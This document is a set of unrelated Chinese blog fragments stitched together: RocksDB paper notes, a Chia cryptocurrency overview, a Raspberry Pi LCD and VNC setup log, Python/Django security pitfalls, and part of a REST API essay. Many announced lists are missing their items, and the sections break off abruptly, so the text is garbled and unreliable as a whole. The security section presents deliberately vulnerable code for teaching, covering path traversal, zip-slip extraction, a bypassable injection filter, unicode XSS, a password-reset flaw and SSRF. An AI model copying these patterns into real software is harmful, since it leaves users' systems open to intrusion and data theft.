作者列举了一些存储领域的新技术,如 open-channel SSD,mulit-stream SSD,ZNS(Zone namespace,类似抽象得更好的 open-channel SSD),这些都能降低 IO 延迟,然而作者又抛出了绝大部分应用都是受空间制约的这一论据,认为这些技术并没有什么实际用处……此外如果要让 RocksDB 这一层直接用上这些技术会破坏 RocksDB 统一一致的体验,因此更值得尝试的方向是下层文件系统去适配这些新技术,RocksDB 专注于 KV 引擎层该做的工作,而不是去做底层 FS 存储层该做的事。
前面空间制约这一说法不敢苟同……后面的说法倒是的确很有道理,每一层就专注做这一层该做的事吧。
存算一体(In-storage computing)也是个很有潜力的技术,然而尚不确定 RocksDB 要如何用它,以及能从中获得多大的收益,后续会继续关注研究此技术。
远端存储(Disaggregated/remote storage)是目前阶段更有意义的优化目标,上文也提到了 CPU 和本地 SSD 盘很难都同时用满,然而若用的是存算分离的架构则不存在此问题了。对于 RocksDB 来说,对远端存储的优化主要集中在聚合 IO 及并行化 IO 上,此外还有对瞬时网络错误的处理,将 QoS 需求下传至底层系统,提供 Profiling 信息等。
资源使用率优化是存算分离架构最大的优点之一。
持久性内存(Persistent Memory, PMem,又称 Storage Class Memor, SCM)是另一个极有前途的技术,对于 RocksDB 来说有以下这些值得尝试的方向:
经过了这么多年的发展,LSM-tree 这一基本数据结构是否还合适呢?作者给出的答案是,Yes!LSM-tree 至今还很适合 RocksDB 使用。主要原因是 SSD 的价格还没有降到足够低的程度,即可以让大部分应用都不在意其寿命损耗的程度,此类应用只是很少一部分应用。然而,当 Value 很大时,分离 KV (如 WiscKey)可以显著降低系统写入放大,所以此功能也被加入到了 RocksDB 中(被称为 BlobDB)。
在大规模分布式数据存储系统中,通常都会将数据分为若干个 Shard,再把不同 Shard 分配到不同存储节点上。单个 Shard 的大小通常是有上限的,原因是 Shard 是负载均衡和多副本的基本单位,需要能在不同节点间自动拷贝。每个服务节点上通常都会有数十个或数百个 Shard。在使用 RocksDB 的通常实践中,一个 RocksDB 实例只用于管理一个 Shard,因此一个服务节点上也就会有很多 RocksDB 实例在同时运行,这些实例可以运行在同一地址空间下,也可运行在不同地址空间下。
这里分别就是多线程和多进程模型吧。
一台 Host 上会运行多个 RocksDB 实例的事实让资源管理变得更为复杂,因为资源需要同时在全局(整个 Host)和局部(单个 RocksDB 实例)两个维度上进行管理。
当不同实例运行在同一个进程内时资源管理相对较为简单,只要限制好各种全局资源,如内存,磁盘带宽等的使用即可。RocksDB 支持对每类资源都创建一个资源控制器(resources controller),并将其传递个各实例,以实现实例内的局部资源管理,这个资源管理还是支持优先级的,可以灵活的在不同实例间分配资源。
然而若不同实例时运行在不同进程上时,资源管理就会变得更有挑战性。解决此问题有两个思路:
此外,另一个经验教训是,随意使用独立的线程会导致很多问题,这会使得总的线程数变得很多且不可控,进而导致线程切换开销增大及很痛苦的 debug 过程。一个更好的选择是使用线程池,这可以根据实际情况去控制总的线程数量。
传统的数据库都是使用 WAL 文件来保证数据持久性的,然而大规模分布式存储系统更多的是依赖于不同节点上的多副本来保证这一点的,单节点的数据损坏可以通过其他节点来进行修复,对于这类系统来说,RocksDB 的 WAL 文件就没那么重要了。进一步,很多一致性协议(如 Paxos,Raft 等)有其自己的 Log,这种情况下 RocksDB 的 WAL 文件就完全没用了。
因此 RocksDB 提供了三种不同的 WAL 策略可供选择:
RocksDB 底层的文件系统通常是选用 SSD-aware 的文件系统,如 XFS,此类文件系统在删除文件时可能会显式的向底层 SSD 固件发送 TRIM 命令。此行为通常有助于提高 SSD 的性能及寿命,然而某些时候也会导致一些性能问题。TRIM 命令其实是没那么轻量级的,SSD 固件在收到 TRIM 命令后会更新其地址映射关系,此行为有可能需要写入 FTL 日志(journal),而 FTL journal 是位于 Flash 上的,这又有可能会触发 SSD 内部的 GC,进而导致大量的数据迁移,此行为会干扰前台写入造成写入延迟的上升。为解决此问题,RocksDB 引入了一个速率限制器来限制 compaction 后并发删除的速度。
大规模的分布式系统之所以叫大规模了,当然是因为整个系统中的机器数很多喽,此时升级肯定是增量式进行的,没有任何实际生产系统会对所有节点做同步升级。因此需要保证两种基本兼容性:
如果不保证这些兼容性就会给运维带来极大的困难。对于向后兼容性(backward compatibility)来说,RocksDB 要能识别之前版本的数据,这的代价通常是软件复杂度;而向前兼容性(forward compatibility)通常是更难保证的,这要求老版本要能识别新版本的数据,RocksDB 通过 Protocol Buffer 等技术来一定程度的保证了至少一年的向前兼容。
backward compatibility 相对比较好做,顶多就是代码写得复杂点;然而 forward compatibility 要困难的多,甚至是在很多时候根本就是不可行的,一个系统的 forward compatibility 如何很大程度上是取决于设计之初设计者的远见与前瞻性的。
RocksDB 的一大特色就是其高度可配置性,这也是它能用于满足各种工作负载需求的原因所在,然而此时配置管理也就变得很有挑战性了。最初 RocksDB 的配置方式类似于 LevelDB,有哪些配置项及其默认值等都是写死在代码中的,这种方式有两个问题:
为解决此问题,RocksDB 支持针对每个数据库使用不同的配置文件,而非一个 RocksDB 实例只能用一个统一的配置文件。此外还提供了一些辅助工具:
另一个更严峻的问题是 RocksDB 的配置项实在是太多了,这是 RocksDB 早期之所以能得到广泛应用的一个原因,然而过多的配置项也让配置的复杂性和混乱程度变得很高,要弄清楚每个配置项是干嘛的基本是不可能的。这些配置项如何配置才是最优的不仅取决于 RocksDB 的运行环境,还取决于其上层应用,还有上层应用更上层的负载情况等等,这些都会让调参变得极为困难。
这些真实世界中遇到的问题让 RocksDB 的开发者们重新检视了其最初的配置支持策略,开始努力提高 RocksDB 开箱即用性能及简化配置项。目前开发的重点是在保持高度可配置性的基础上提供更强大的自适应性(automatic adaptivity),要同时做到这两点会显著增加代码维护的负担,然而开发者们认为这是值得的~
RocksDB 本身是一个单节点的库,使用 RocksDB 的应用需要自己处理多副本及备份问题,不同应用的处理方法不尽相同,因此 RocksDB 需要对此提供恰当的支持。
在新节点上重新拉起一个副本有两种策略:
备份也是很多数据库或其他应用所需的一个重要功能。备份与多副本一样也有逻辑和物理两种方式,然而与多副本不同的是,应用通常需要管理多个版本的备份数据。尽管大部分应用都实现了其自己的备份策略,RocksDB 也提供了一个简单基本的备份引擎。
由于性能原因,RocksDB 一般不使用 DIF/DIX 等 SSD 提供的数据保护功能,而是使用最为通用的校验和策略。根据作者的观测,RocksDB 层面的错误在 100PB 规模下大概每 3 个月就会出现一次,更糟糕的是,大约 40% 的情况下,错误已经被扩散到多个副本里去了。
数据损坏越早被检出系统的可用性及可靠性就会越好,大部分基于 RocksDB 的应用都使用不同机器上的多副本策略,此时检测到一个副本校验和错误后可以根据其他副本进行修复,前提是正确的副本还存在。
目前的 RocksDB 校验和保护机制可分为 4 层(含计划中的应用层校验和):
RocksDB 遇到的大部分错误都是底层文件系统返回的错误,最初 RocksDB 处理这些错误的方式就是不处理,即直接将这些错误抛给上层应用或永久停止写入。目前开发者们更倾向仅在 RocksDB 自身无法处理或恢复时才中断 RocksDB 的正常流程,实现这的基本方法就是对某些暂时性错误在 RocksDB 层面就进行重试。上层收到 RocksDB 的错误后一般处理方法都是进行实例迁移,RocksDB 自身进行了重试后上层因此造成的实例迁移就会少很多。
核心的 KV 接口是如此的通用,以至于基本所有的存储负载都可以被 KV 接口所满足,这就是 KV 存储这么流行的原因了。然而对某些应用来说,这么简单的接口可能会制约其性能。比如要想基于 KV 接口做 MVCC(Multiversion concurrency control,多版本并发控制)的开销就会很大。
RocksDB 内部是有一个 56-bit 的序列号用于区分不同版本的 KV 对的,也支持快照(Snapshot)功能,生成了一个 Snapshot 后此时的所有 KV 对都是不会被删除的,直到显式的释放了此快照,因此同一个 Key 是可以有多个序列号不同的 Value 的。
然而此种简单的多版本机制是没法完全满足很多应用需求的,原因在于此机制存在一些局限性:
应用想要绕开这些限制只能在 Key 或 Vaule 中自行编码加入时间戳,然而这会导致性能下降:
因此在 KV 接口层面就支持指定时间戳会是一个更好的解决方案,目前 RocksDB 对此已经提供了基本的支持。以应用自行在 Key 中编码时间戳的性能为基准,原生带时间戳的 KV 接口性能如下:
可以看到至少有 1.2 倍性能提升,原因在于查询操作可以使用正常 Query 接口而非 Scan 接口了,此时 Bloom Filter 等就都可以起作用了。此外 SSTable 包含的时间戳范围可以加入到其元信息中了,这就有助于在读的时候直接跳过不符合要求的 SSTable 文件。
开发者们认为,此功能有助于上层应用实现 MVCC 或其他分布式事务功能,然而并不考虑开发更复杂的多版本功能,原因是更复杂的多版本功能使用起来并不那么直观,也可能会被误用;且为了保存时间戳需要更多的磁盘空间,也使得接口上与其他 KV 系统间的可移植性变差。
这部分主要就是介绍在存储引擎库,基于 SSD 的 KV 存储系统,LSM-tree 优化,大规模存储系统这几方面上还有些什么研究,感兴趣的可以去看看原文。
除了上文提及的支持远端存储,KV 分离,多层次校验和,应用指定时间戳外,还计划统一 Leveled 及 Tiered compaction 策略和增强自适应性,此外还有些开放问题:
很不错的图~可以看到 RocksDB 性能上的优化主要聚焦于 Compaction 及 Bloom Filter 展开~
参考资料:
Chia(起亚) 是最近极为火热的数字货币项目,对应的货币叫做 Chia Coin,简称 XCH。其核心算法为 PoST(Proof of Space and Time),以替代比特币中的 PoW(Proof of Work)。
使用 PoSpace 空间证明而非 PoW 工作量证明是 Chia 项目宣称的最大优点。据他们的开发者宣称,PoW 耗费太多能源了,不环保,我们来搞点更环保的东西吧,不用 PoW 了,改用 PoSpace,即谁有的硬盘空间多谁的投票权就更大。因此他们还把通常称为白皮书(White Paper)的文档改名叫做绿皮书(Green Paper)。
然而仔细想想这哪里环保了,把一堆硬盘搞来塞满毫无意义的数据比比特币矿机还要更邪恶吧……Chia 的官网上还可笑的宣称硬盘更不容易被垄断,因此个人还有小玩家可以更好的入场,简直是更荒谬的说法,哪个个人会去囤积一堆存不了有用数据的硬盘?
IPFS 好歹还可以存一些实际有用的数据,看起来还真能促进下社会发展,至于 Chia 简直是除了圈钱和泡沫看不到任何其他意义。不过抛开实际意义,由于最近也研究了下 Chia 的文档和代码,就单纯的来和大家分享下 Chia 的技术实现吧。
Chia 的整体架构图如下:
整个系统中主要有 3 种类型的参与者:
绝大部分参与者都是农民 Farmer,如何成为农民也很简单,直接去下载个打包好的客户端运行就好了。
至于为什么叫 Farmer 呢?当然是为了凸显 Chia 的绿色环保喽,我们不是在浪费能源的挖矿,我们是在环保的种田!
Farmer 的工作也很简单,基本就是两步:
Farmer 生成的 Plots file(P 盘文件) 可能会分布在很多台机器上,因此需要在这些机器上都部署上用来支持摸奖的服务,这个服务就被称为 Harvester 收割机。Farmer 接收到来自 TimeLord 的 Challenge(质询) 后,会将此 Challenge 转发到所连接的所有 Harvester 上。
Plotting 的目的是在磁盘上生成一大堆 Plots file,根据其实现代码,这一过程可分为 4 步:
最后,若最终路径(--final_dir
)与临时文件 2 的路径(--tmp2_dir
)是一样的,简单的把临时文件 2 做个 Rename 重命名即可;否则做一次数据拷贝生成最终 Plots file。
此处之所以要 Copy 或 Rename 一下而不是直接把临时文件 2 作为最终文件的主要原因是为了分离临时文件及最终文件的存储位置。
根据 Chia 的设计,Plots file 越多越好,因此显然要把它们存放在廉价的大容量存储系统,如本地机械盘或云端的低价存储中。然而此类系统通常随机读写能力不佳,甚至是直接不支持随机写入。可在生成临时文件 2 时是需要随机写入的,且写入的 IOPS 对生成文件的速度有显著影响,因此在通常实践中,会把临时文件写到 SSD 上。
Plotting 的逻辑是由 DiskPlotter
这个类来实现的。
Farming 的过程就是对一系列 Challenges 的证明响应,每一轮证明过程都是以一个 256 bit 的 Challenge 为输入,输出是一个 PoSpace 结构,其中包括 Plots file 的公钥,Pool 的公钥, Proof 结果等。其中最重要的就是 Proof 结果。
生成一个区块的过程中会产生 64 次 Challenges,这一过程在客户端 Farming 的界面中可以看到:
每一个这样的点被称为一个 Signage Point。
为减少 IO 次数及所需网络带宽,目前的实现中采用了一种类似于预筛选的方法,先用较少次数的读计算出一个 Quality 值,并根据特定算法评估此 Quality 对于当前 Signage Point 来说够不够好,如果够好的话再去获取完整 Proof 结果。获取 Proof & Quality 的过程是由 Harvester 完成的,评估 Quality 质量则是 Farmer 的工作。
Harvester 负责管理某台机器上的所有 Plots file,并接收来自 Farmer 的 Challenge,返回每个 Plots file 的 PoSpace 及 PoSpace Quality。
这部分代码是由 DiskProver
类实现的。
Challenge 的高 $k$ bit 表示 f7 要满足的一些性质,通过对 C1, C2, C3 表的一通查询最终可以确定 Table 7 中有几项满足要求,可能有若干项满足要求,也可能一项都没有,平均期望是存在 1 项满足要求。
这里有几项满足要求就意味着这个 Plots file 中存在多少个最终的 Proof 证明结果。
之后的查找过程示意如下:
不过要注意的是,从 Table 7 中的一项表项只能找到 Table 6 中对应的一项,这样依次找下去就可以得到 Table 1 中的 32 项,每项是由 2 个 $k$ bit 的整数构成的,因此最终结果就有 $k*64$ bit。对这 64 个数进行重新排序(排序规则是由 PoST 算法决定的),最终就可以生成一个长长的字符串,这就是 PoSpace 的证明结果。
至于 Quality 是怎么来的呢?Challenge 最低 5 bit 的含义是 Table 6 ~ Table 2 在生成 Quality 时应该选择左边的值还是右边的值,按此规则进行选取后 Table 7 中的一项就会对应得到 Table 1 中的一项,即 2 个整数。将 Challenge 与这两个整数简单的二进制连起来,并计算 SHA-256,得到的结果就是 Quality 值。
Timelord 一般被翻译为时间领主,它负责向 Farmer 发起质询(Challenge)并计算 VDF,计算完成后打包成新的区块,实际上整个 Chia 链中的区块都是由 TimeLord 计算生成的。TimeLord 最终决定了哪个 Farmer 的某个 Plots file 赢得了当前区块,即摸中奖了可以获得 XCH 奖励。
那如何保证 TimeLord 是公平的而不是邪恶的始终选取自己的 plots file 呢?这就是由 Chia 的 PoST 算法决定的了。离 Challenge 越近(越优)的 PoSpace 会使得 TimeLord 计算 VDF 的速度越快。系统中不止有一个 TimeLord,而是有很多 TimeLord 在互相竞争,哪个 TimeLoad 先计算完成 VDF 成功打包区块,那整个链就会沿此区块继续延伸,其他在计算同一高度区块的 TimeLord 就会失败。
此过程与传统 Bitcoin 的运行模式基本一模一样,可以猜想,对于分支情况的处理也应该和比特币基本相同。然而一个显著区别是,Bitcoin 奖励的是矿工,即最终成功生成新区块的参与者,而在 Chia 中,TimeLord 是没有任何奖励的,完全是自愿劳动:) 被奖励的是 Farmer。
那无偿劳动为啥有人来干呢?根据某个 Chia 核心开发人员的说法是,当 TimeLord 好处多多,大家都会争着来干的,最显著的好处是,自己部署一个 TimeLord 与自己的 Harvester 离得近网络延迟小,避免自己由于网络延迟太大而成为炮灰。即由于网络延迟导致自己的 PoSpace 很久之后才被送到某个遥远的 TimeLord 上,导致根本没有机会被打包到区块中,即使自己的 PoSpace 比其他人更优。
TimeLord 是 CPU 密集型任务,目前的开源实现强制要求运行平台支持 AVX512-IFMA 指令集。如果某个 TimeLord 的运行速度能压倒性的快于其他 TimeLord,那它理论上是可以凭借算力而非磁盘空间来控制整个链的,因此按照 Chia 开发者的说法,要把运行得最快的 TimeLord 算法开源出来,而且使得 ASIC 的运算速度没法超过通用 CPU,这样才能避免邪恶 TimeLord 的出现。
Full Node 的作用是广播中转各种消息,创建区块,保存和维护历史区块,与系统的其他参与者通信等。不同参与者之间的通信就是靠 Full Node 来完成的。
Full Node 间的一致性使用的是与比特币一样的 Gossip 协议。
算法部分没有仔细研究,此处更多的是给出一些深入研究的链接。
Chia 最重要的算法当然要数 PoST 算法了,PoST 算法是由两部分构成的,PoSpace + VDF。
为什么只有 PoSpace 是不够的还需要 VDF 呢?因为整个区块链网络是个 P2P 网络,产生一个 Challenge 后需要去收集所有 Farmer 的 Proof,区块链设计的核心哲学就是没有邪恶的中心节点,那怎么确定哪个 Proof 是最优的呢?如果这个判断进行得很快,比如简单的比比差值,那所有的 TimeLoad 都可以马上宣称某个 Proof 为最优,此时区块如何增长就完全不可控了,所以 PoT 也是必不可少的。需要通过计算 VDF 的过程让全网能够就哪个 Proof 是最优的达成共识。
一致性协议中主要介绍的是链的延伸过程,在 Chia 的绿皮书中对此有说明,不过目前有一份更新的 Google Doc:
所有区块链技术的最底层基石都是密码学,特别是各种数字签名技术。Chia 中签名用的算法是 BLS12-381。
BLS 算法是 2003 年由斯坦福大学的 Dan Boneh,Ben Lynn 以及 Hovav Shacham 提出的一种基于 ECC 的数字签名算法,和 ECDSA 的用处是一样的。该方案是一个基于双线性映射且具有唯一确定性的签名方案。BLS的主要思想是待签名的消息散列到一个椭圆曲线上的一个点,并利用双线性映射 e 函数的交换性质,在不泄露私钥的情况下,验证签名。BLS的算法在签名合并,多签,m/n 多签有丰富的应用。
而 BLS12-381 则一种具体的 BLS 签名算法,此算法由 Sean Bowe 于 2017 年提出,最早被用于一个叫 Zcash 的数字货币项目中,现在不少其他区块链项目也用了此算法。
在 Chia 的实现中需要用到不止一对密钥,比如钱包的密钥,Farmer 用的农民密钥等。这些密钥不是独立的,而是由一个主私钥通过私钥派生算法得到的,对于 BLS12-381 算法来说怎么生成这些密钥可以参考这个:
EIP-2333: BLS12-381 Key Generation
至于主私钥怎么来的呢,第一次启动 Chia 客户端时会创建一个由 24 个单词组成的助记词,这些助记词就是用来生成主私钥的。
Plotting 时会生成一个随机主私钥,通过它可以派生出一个本地私钥,这个本地私钥又可以导出一个本地公钥,最终,本地公钥与农民公钥(Farmer Public Key)融合,生成了绘图公钥(Plot Public Key),最后矿池公钥(Pool Public Key)和绘图公钥(Plot Public Key)会被组合到一起,并进行一次哈希,哈希的结果被称为绘图 ID(Plot ID)。
上述提及的绘图 ID,随机主私钥,农民公钥与矿池公钥均会被记录到 Plots file 的 Header 中。
生成区块时,需要用与 Plot file 匹配的矿池私钥(Pool Private Key)进行一次签名。
Chia 的业务逻辑,网络,一致性算法等是用 Python 写的,即 chia-blockchain 这个项目。这个项目也被视为 Chia 的主项目在 GitHub 上获得了最多的 Star。最终各平台上能运行的完整的程序也是在这个项目中发布 Release 版本的。
至于 GUI 部分是基于 Electron 开发的,对应项目为 chia-blockchain-gui。
核心的 PoST 算法则是 C++ 写的,分为两个项目:
Chia 中使用的 BLS12-381 数字签名算法的实现为:bls-signatures
此外 Chia 还开发了一个叫 Chialisp 的智能合约语言,相关项目有:
参考资料:
树莓派自买来就一直是我的内网测试服务器,前几天明显感觉反应迟钝了,就去检查了一下,发现之前散热壳上的小风扇停了,拿个螺丝刀拨弄一下扇叶转不动,应该是滚珠没油“焊”死在上面了。不得已网购散热风扇,买着买着就变成买了一个散热风扇,一个金属外壳,一块3.5寸屏。冲动消费害死人。明明5块钱搞定的事情,最后搞成95块钱。
硬件组装部分就略过了。东西到手就直接装上了,然后开机,屏幕是点亮了,但是白屏啥也不输出。翻了一下包装盒,里面有装说明书,原来要装驱动。驱动安装命令如下:
sudo rm -rf LCD-show git clone https://github.com/Lcdwiki/LCD-show.git chmod -R 755 LCD-show cd LCD-show/ sudo ./MHS35-show
第一行命令如果没装过小屏的,其实可以不输,后面就克隆一个驱动项目给个权限执行安装就完事了。装完自动重启,但是我的自动重启没成功,卡死了重启步骤上了,没办法只能关机重启,然后还是无法进入系统,泥煤的,心态一下就崩了呀,这要重烧系统的节奏啊,问题是我上面的项目没备份下来啊,算了程序啥的电脑上还有,就是丢点数据,也都是自用的无所谓了。现在的问题是怎么搞定白屏,刚刚命令都正常执行了,一直到reboot显示出来就死了。有可能是系统问题,因为我现在的系统是之前官方出的64位beta版,就去看了下树莓派官网上,现在有64位正式版可以用了,而且还是2022年1月刚更新的。下镜像,烧系统,重装驱动,一溜烟3.5寸屏正常输出了。
树莓派之前一直是通过HDMI连接到我竖屏上的,上面小屏驱动完成后重启,小屏完美显示了,大屏反而不输出了,显示:输入不支持字样。然后就问了下卖家,是不是不能同步显示,卖家说可以同时显示的,并丢了个链接给我:http://www.lcdwiki.com/zh/安装支持FBCP的驱动后HDMI显示器无显示。原因很明确:由于3.5寸屏幕安装的驱动默认输出分辨率为480*320,而传统的HDMI显示器很多不支持低于640*480的HDMI输入信号,所以HDMI显示器无法正常显示甚至无显示。解决方案:
打开Micro SD卡根目录的config.txt文件,在文件末端找到:hdmi_cvt 480 320 60 6 0 0 0 修改为:将480 320 数值修改成640*480, 800*480或更高分辨率的对应值(注意空格),举例:修改成800*480分辨率 hdmi_cvt 800 480 60 6 0 0 0。根据此法完美解决双屏显示的问题,新的问题是大屏的分辨率太低,不太好看,遂改成hdmi_cvt 1280 800 60 6 0 0 0的分辨率了,当然使用1920*1080的也可以,这样小屏上的显示的会小很多,但后面用VNC无所谓了,毕竟3.5寸的触摸跟个三等残废似的,没啥diao用。
驱动装好就打开树莓派的VNC service,用客户端VNC Viewers连接操作,打开VNC可以通过树莓派设置去操作,也可以使用 sudo raspi-config的命令行配置方式操作。就去安装宝塔面板去了,大便系统上装宝塔有点慢,宝塔装好登录装运行环境,等装完就个把小时过去了,等再来操作的时候发现VNC断开了,死活连不上,树莓派上的VNC配置项翻了个遍,VNC services停了开开了停,也没解决。然后再找解决方案的时候偶然看到VNC连接端口是5901,然后就在VNC Viewers上输入IP+端口再试,还是连不上,就有点纳闷了,百思不得其姐。然后就复盘了一下刚才所谓的操作,除了装宝塔,啥也没干,宝塔可以正常使用,就VNC用不了,折腾了半天准备放弃了,大不了不用VNC了,接键盘鼠标好了。就去改宝塔的配置,再改宝塔入口的时候看到端口,恍然大悟,宝塔用root权限安装的,装完后接管树莓派所有端口了,在宝塔安全菜单里面放行VNC的5901端口就好了。
既然树莓派有个小屏了,再整个音箱,加上无线键鼠和随身投影,一套完美的办公套件啊,笑。其实我纯粹就是为了试下连接音箱是啥效果,树莓派蓝牙搜索设备,连接,一路顺畅,打开网易云音乐,随便放个曲子,音箱就是不响,哑火状态。联想到PC上,有多个音源输出设备的话,要手动选择输出设备的,点开树莓派的喇叭图标,好像只有音量调节和静音。右键点开,看到Audio Outputs,选择刚刚适配好的蓝牙,悠扬的乐曲就出来了。
1、安装宝塔提示要用root权限,树莓派默认没有使用root账户。需要手动切换一下,使用 sudo -s命令,或则使用su命令,输入设置的root密码即可。如果不能成功就是没有开启root账号,通过命令sudo passwd root启用,输入两遍密码就好了。
2、提示bash: warning: setlocale: LC_ALL错误,把树莓派设置里面的localisation的charset设置为UTF-8即可。
def superuser_action(request, user):
assert user.is_super_user
# execute action as super user
os.makdirs
函数可以在操作系统中创建一个或多个文件夹。它的第二个参数 mode 用于指定创建的文件夹的默认权限。在下面代码的第 2 行中,文件夹 A/B/C 是用 rwx------ (0o700) 权限创建的。这意味着只有当前用户(所有者)拥有这些文件夹的读、写和执行权限。def init_directories(request):
os.makedirs("A/B/C", mode=0o700)
return HttpResponse("Done!")
os.makdirs
函数等价于 Linux 的这条命令:mkdir -m 700 -p A/B/C
。
有些开发者没有意识到版本之间的差异,这已经在 Django 中造成了一个权限越级漏洞(cve - 2022 -24583),无独有偶,这在 WordPress 中也造成了一个加固绕过问题。os.path.join(path, *paths)
函数用于将多个文件路径连接成一个组合的路径。第一个参数通常包含了基础路径,而之后的每个参数都被当做组件拼接到基础路径后。def read_file(request):
filename = request.POST['filename']
file_path = os.path.join("var", "lib", filename)
if file_path.find(".") != -1:
return HttpResponse("Failed!")
with open(file_path) as f:
return HttpResponse(f.read(), content_type='text/plain')
def touch_tmp_file(request):
id = request.GET['id']
tmp_file = tempfile.NamedTemporaryFile(prefix=id)
return HttpResponse(f"tmp file: {tmp_file} created!", content_type='text/plain')
def extract_html(request):
filename = request.FILES['filename']
zf = zipfile.ZipFile(filename.temporary_file_path(), "r")
for entry in zf.namelist():
if entry.endswith(".html"):
file_content = zf.read(entry)
with open(entry, "wb") as fp:
fp.write(file_content)
zf.close()
return HttpResponse("HTML files extracted!")
def is_sql_injection(request):
pattern = re.compile(r".*(union)|(select).*")
name_to_test = request.GET['name']
if re.search(pattern, name_to_test):
return True
return False
import unicodedata
from django.shortcuts import render
from django.utils.html import escape
def render_input(request):
user_input = escape(request.GET['p'])
normalized_user_input = unicodedata.normalize("NFKC", user_input)
context = {'my_input': normalized_user_input}
return render(request, 'test.html', context)
<!DOCTYPE html>
<html lang="en">
<body>
{{ my_input | safe}}
</body>
</html>
from django.core.mail import send_mail
from django.http import HttpResponse
from vuln.models import User
def reset_pw(request):
email = request.GET['email']
result = User.objects.filter(email__exact=email.upper()).first()
if not result:
return HttpResponse("User not found!")
send_mail('Reset Password','Your new pw: 123456.', 'from@example.com', [email], fail_silently=False)
return HttpResponse("Password reset email send!")
import requests
import ipaddress
def send_request(request):
ip = request.GET['ip']
try:
if ip in ["127.0.0.1", "0.0.0.0"]:
return HttpResponse("Not allowed!")
ip = str(ipaddress.IPv4Address(ip))
except ipaddress.AddressValueError:
return HttpResponse("Error at validation!")
requests.get('https://' + ip)
return HttpResponse("Request send!")
GET https://victim.com/?a=1;b=2
GET https://internal.backend/?a=1;b=2
写这篇文章的原因主要还是因为V2EX上的这个贴子,这个贴子中说——
“对接同事的接口,他定义的所有接口都是 post 请求,理由是 https 用 post 更安全,之前习惯使用 restful api ,如果说 https 只有 post 请求是安全的话?那为啥还需要 get 、put 、delete ?我该如何反驳他。”
然后该贴中大量的回复大概有这么几种论调,1)POST挺好的,就应该这么干,沟通少,2)一把梭,早点干完早点回家,3)吵赢了又怎么样?工作而已,优雅不能当饭吃。虽然评论没有一边倒,但是也有大量的人支持。然后,我在Twitter上嘲讽了一下,用POST干一切就像看到了来你家装修工人说,“老子干活就是用钉子钉一切,什么螺丝、螺栓、卡扣、插销……通通不用,钉枪一把梭,方便,快捷,安全,干完早回家……不过,还是有一些网友觉得用POST挺好的,而且可以节约时间。所以,正好,我在《我做系统架构的原则》中的“原则五”中反对API返回码无论对错全是200的返回那,我专门写下这一篇文章,以正视听。
这篇文章主要分成下面这几个部分:
编程世界通常来说有两种逻辑:“业务逻辑” 和 “控制逻辑”。
网络协议也是一样的,一般来说,几乎所有的主流网络协议都有两个部分,一个是协议头,一个是协议体。协议头中是协议自己要用的数据,协议体才是用户的数据。所以,协议头主要是用于协议的控制逻辑,而协议体则是业务逻辑。
HTTP的动词(或是Method)是在协议头中,所以,其主要用于控制逻辑。
下面是HTTP的动词规范,一般来说,REST API 需要开发人员严格遵循下面的标准规范(参看RFC7231 章节4.2.2 – Idempotent Methods)
方法 | 描述 | 幂等 |
---|---|---|
GET | 用于查询操作,对应于数据库的 select 操作 |
![]() |
PUT | 用于所有的信息更新,对应于数据库的 update 操作 |
![]() |
DELETE | 用于更新操作,对应于数据库的 delete 操作 |
![]() |
POST | 用于新增操作,对应于数据库的 insert 操作 |
✘ |
HEAD | 用于返回一个资源对象的“元数据”,或是用于探测API是否健康 | ![]() |
PATCH | 用于局部信息的更新,对应于数据库的 update 操作 |
✘ |
OPTIONS | 获取API的相关的信息。 | ![]() |
其中,PUT
和 PACTH
都是更新业务资源信息,如果资源对象不存在则可以新建一个,但他们两者的区别是,PUT
用于更新一个业务对象的所有完整信息,就像是我们通过表单提交所有的数据,而 PACTH
则对更为API化的数据更新操作,只需要更需要更新的字段(参看 RFC 5789 )。
当然,现实世界中,可能并不一定严格地按照数据库操作的CRUD来理解API,比如,你有一个登录的API /login
你觉得这个API应该是 GET
,POST
,PUT
还是 PATCH
?登录的时候用户需要输入用户名和密码,然后跟数据库里的对比(select操作)后反回一个登录的session token,然后这个token作为用户登录的状态令牌。如果按上面表格来说,应该是 select 操作进行 GET
,但是从语义上来说,登录并不是查询信息,应该是用户状态的更新或是新增操作(新增session),所以还是应该使用 POST
,而 /logout
你可以使用 DELETE
。这里相说明一下,不要机械地通过数据库的CRUD来对应这些动词,很多时候,还是要分析一下业务语义。
另外,我们注意到,在这个表格的最后一列中加入了“是否幂等”的,API的幂等对于控制逻辑来说是一件很重要的事。所谓幂等,就是该API执行多次和执行一次的结果是完全一样的,没有副作用。
POST
用于新增加数据,比如,新增一个交易订单,这肯定不能是幂等的DELETE
用于删除数据,一个数据删除多次和删除一次的结果是一样的,所以,是幂等的PUT
用于全部数更新,所以,是幂等的。PATCH
用于局部更新,比如,更新某个字段 cnt = cnt+1,明显不可能是幂等操作。幂等这个特性对于远程调用是一件非常关键的事,就是说,远程调用有很多时候会因为网络原因导致调用timeout,对于timeout的请求,我们是无法知道服务端是否已经是收到请求并执行了,此时,我们不能贸然重试请求,对于不是幂等的调用来说,这会是灾难性的。比如像转帐这样的业务逻辑,转一次和转多次结果是不一样的,如果重新的话有可能就会多转了一次。所以,这个时候,如果你的API遵从了HTTP动词的规范,那么你写起程序来就可以明白在哪些动词下可以重试,而在哪些动词下不能重试。如果你把所有的API都用POST来表达的话,就完全失控了。
除了幂等这样的控制逻辑之外,你可能还会有如下的这些控制逻辑的需求:
GET
操作上建议缓存。也许,你会说,我的业务太简单了,没有必要搞这么复杂。OK,没有问题,但是我觉得你最差的情况下,也是需要做到“读写分离”的,就是说,至少要有两个动词,GET
表示是读操作,POST
表示是写操作。
一般来说,对于查询类的API,主要就是要完成四种操作:排序,过滤,搜索,分页。下面是一些相关的规范。参考于两个我觉得写的最好的Restful API的规范文档,Microsoft REST API Guidelines,Paypal API Design Guidelines。
排序。对于结果集的排序,使用 sort
关键字,以及 {field_name}|{asc|desc},{field_name}|{asc|desc}
的相关语法。比如,某API需要返回公司的列表,并按照某些字段排序,如:GET /admin/companies?sort=rank|asc
或是 GET /admin/companies?sort=rank|asc,zip_code|desc
过滤。对于结果集的过滤,使用 filter
关键字,以及 {field_name} op{value}
的语法。比如: GET /companies?category=banking&location=china
。但是,有些时候,我们需要更为灵活的表达式,我们就需要在URL上构造我们的表达式。这里需要定义六个比较操作:=
,<
,>
,<=
,>=
,以及三个逻辑操作:and
,or
,not
。(表达式中的一些特殊字符需要做一定的转义,比如:>=
转成 ge
)于是,我们就会有如下的查询表达式:GET /products?$filter=name eq 'Milk' and price lt 2.55
查找所有的价柗小于2.55的牛奶。
搜索。对于相关的搜索,使用 search
